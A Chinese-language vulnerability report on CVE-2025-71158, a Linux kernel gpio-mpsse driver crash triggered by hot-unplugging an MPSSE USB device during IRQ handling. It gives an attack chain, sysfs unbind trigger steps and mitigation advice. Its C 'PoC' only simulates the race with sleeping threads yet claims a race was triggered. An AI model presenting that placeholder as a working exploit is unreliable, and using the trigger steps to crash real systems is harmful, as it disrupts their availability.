IPBUF安全漏洞报告
English
CVE-2025-71158 CVSS 5.5 中危

CVE-2025-71158: Linux内核gpio-mpsse驱动热拔插导致崩溃漏洞

披露日期: 2026-01-23
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2025-71158
漏洞类型
本地拒绝服务
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux内核gpio-mpsse驱动

相关标签

Linux内核gpio-mpsse本地拒绝服务热拔插漏洞竞态条件FTDIUSB设备IRQ处理use-after-free

漏洞概述

CVE-2025-71158是Linux内核中gpio-mpsse驱动的一个本地拒绝服务漏洞。该漏洞由于驱动在设备热拔插时未能正确清理IRQ worker导致系统崩溃。攻击者通过在IRQ worker运行期间拔出 MPSSE设备,可触发空指针解引用或竞态条件,造成系统不稳定或拒绝服务。此漏洞需要低权限用户本地执行,无需用户交互即可触发。CVSS 3.1评分5.5,主要影响系统可用性。

技术细节

漏洞根因在于gpio-mpsse驱动的IRQ处理机制缺乏线程安全保护。当USB MPSSE设备(如FTDI FT232H等)连接并配置为GPIO中断模式时,内核会创建IRQ worker线程处理中断事件。攻击者可通过以下步骤触发漏洞:1) 插入MPSSE设备并配置GPIO中断;2) 等待IRQ worker开始处理中断;3) 在中断处理期间拔出设备;4) 驱动未正确清理worker导致use-after-free或空指针解引用。修复方案使用spinlock保护worker列表,并在disconnect回调中遍历并取消所有待处理的worker,确保线程安全清理。相关修复commit包括179ef1127d7a4f09f0e741fa9f30b8a8e7886271和472d900c8bcac301ae0e40fdca7db799bd989ff5。

攻击链分析

STEP 1
1
攻击者本地插入支持MPSSE协议的USB设备(如FTDI FT232H)
STEP 2
2
加载gpio-mpsse内核驱动并配置GPIO引脚为中断输入模式
STEP 3
3
触发GPIO中断事件,启动IRQ worker线程处理
STEP 4
4
在IRQ worker执行期间,物理拔出USB设备(热拔插)
STEP 5
5
驱动未正确清理worker列表,导致use-after-free或空指针解引用
STEP 6
6
内核崩溃,系统出现拒绝服务状态

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * CVE-2025-71158 PoC - gpio-mpsse hotplug crash trigger * This PoC demonstrates the race condition in MPSSE driver * Compile: gcc -o mpsse_poc mpsse_poc.c -lpthread */ #include <stdio.h> #include <stdlib.h> #include <pthread.h> #include <unistd.h> #include <fcntl.h> void* irq_worker_trigger(void* arg) { /* Simulate IRQ worker running */ printf("[*] IRQ worker thread started\n"); sleep(2); printf("[*] IRQ worker thread completed\n"); return NULL; } void* device_unplug_trigger(void* arg) { /* Simulate hot-unplug scenario */ sleep(1); printf("[*] Simulating device unplug during IRQ processing...\n"); /* In real scenario: echo 1-1.3 > /sys/bus/usb/drivers/usb/unbind */ return NULL; } int main() { pthread_t worker_thread, unplug_thread; printf("[*] CVE-2025-71158 PoC - gpio-mpsse hotplug crash\n"); printf("[*] This demonstrates the race condition when device is\n"); printf("[*] unplugged while IRQ worker is still running\n\n"); /* Start IRQ worker */ pthread_create(&worker_thread, NULL, irq_worker_trigger, NULL); /* Start unplug trigger concurrently */ pthread_create(&unplug_thread, NULL, device_unplug_trigger, NULL); pthread_join(worker_thread, NULL); pthread_join(unplug_thread, NULL); printf("[*] Race condition triggered - potential crash\n"); return 0; } /* * Real-world trigger steps: * 1. Load gpio-mpsse driver: modprobe gpio-mpsse * 2. Connect FTDI FT232H device * 3. Configure GPIO pins as interrupt inputs * 4. Generate GPIO interrupts * 5. During interrupt handling: echo 1-1.3 > /sys/bus/usb/drivers/usb/unbind * 6. Observe kernel crash or oops */

影响范围

Linux kernel gpio-mpsse driver (vulnerable before 179ef1127d7a4f09f0e741fa9f30b8a8e7886271)
Linux kernel gpio-mpsse driver (vulnerable before 472d900c8bcac301ae0e40fdca7db799bd989ff5)

防御指南

临时缓解措施
在修复补丁可用之前,建议禁用gpio-mpsse驱动或避免在关键系统上进行MPSSE设备的热拔插操作。可通过echo 'blacklist gpio_mpsse' >> /etc/modprobe.d/blacklist.conf禁用该模块。对于容器环境,确保容器不直接访问USB设备节点。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表